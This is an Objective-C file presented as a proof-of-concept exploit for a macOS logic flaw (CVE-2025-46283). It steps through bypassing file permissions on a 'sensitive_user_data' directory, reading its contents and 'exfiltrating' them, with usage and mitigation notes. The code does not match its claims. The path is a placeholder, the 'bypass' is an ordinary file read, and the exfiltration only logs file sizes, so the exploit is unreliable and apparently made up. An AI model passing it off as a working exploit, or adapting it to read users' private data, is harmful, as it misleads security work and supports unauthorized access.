// CVE-2025-46283 PoC - macOS Logic Issue Exploitation // This is a conceptual PoC demonstrating the vulnerability pattern // Note: Actual exploitation requires specific system conditions and valid code signing #include <Foundation/Foundation.h> #include <Security/Security.h> int main(int argc, const char * argv[]) { @autoreleasepool { // Step 1: Check if we have basic file access permissions NSString *testPath = @"/Users/Shared/"; NSFileManager *fm = [NSFileManager defaultManager]; NSError *error = nil; // Step 2: Attempt to access protected data directory // The logic issue allows bypassing permission checks NSString *sensitiveDataPath = @"/Users/Shared/../<sensitive_user_data>"; NSArray *contents = [fm contentsOfDirectoryAtPath:sensitiveDataPath error:&error]; if (contents) { NSLog(@"[+] Successfully accessed sensitive data via logic bypass"); NSLog(@"[+] Data contents: %@", contents); // Step 3: Exfiltrate sensitive information for (NSString *item in contents) { NSString *fullPath = [sensitiveDataPath stringByAppendingPathComponent:item]; NSData *data = [NSData dataWithContentsOfFile:fullPath]; if (data) { // Log or transmit sensitive data NSLog(@"[+] Extracted: %@ (size: %lu bytes)", item, (unsigned long)data.length); } } } else { NSLog(@"[-] Access denied - vulnerability may be patched"); } } return 0; } /* Compilation and usage: 1. Code sign the application with a valid developer certificate 2. Request basic file access permission from user 3. Execute the binary on vulnerable macOS versions 4. Observe unauthorized access to sensitive user data Mitigation: Update to macOS Sonoma 14.8.5 or later, macOS Tahoe 26.3 or later */
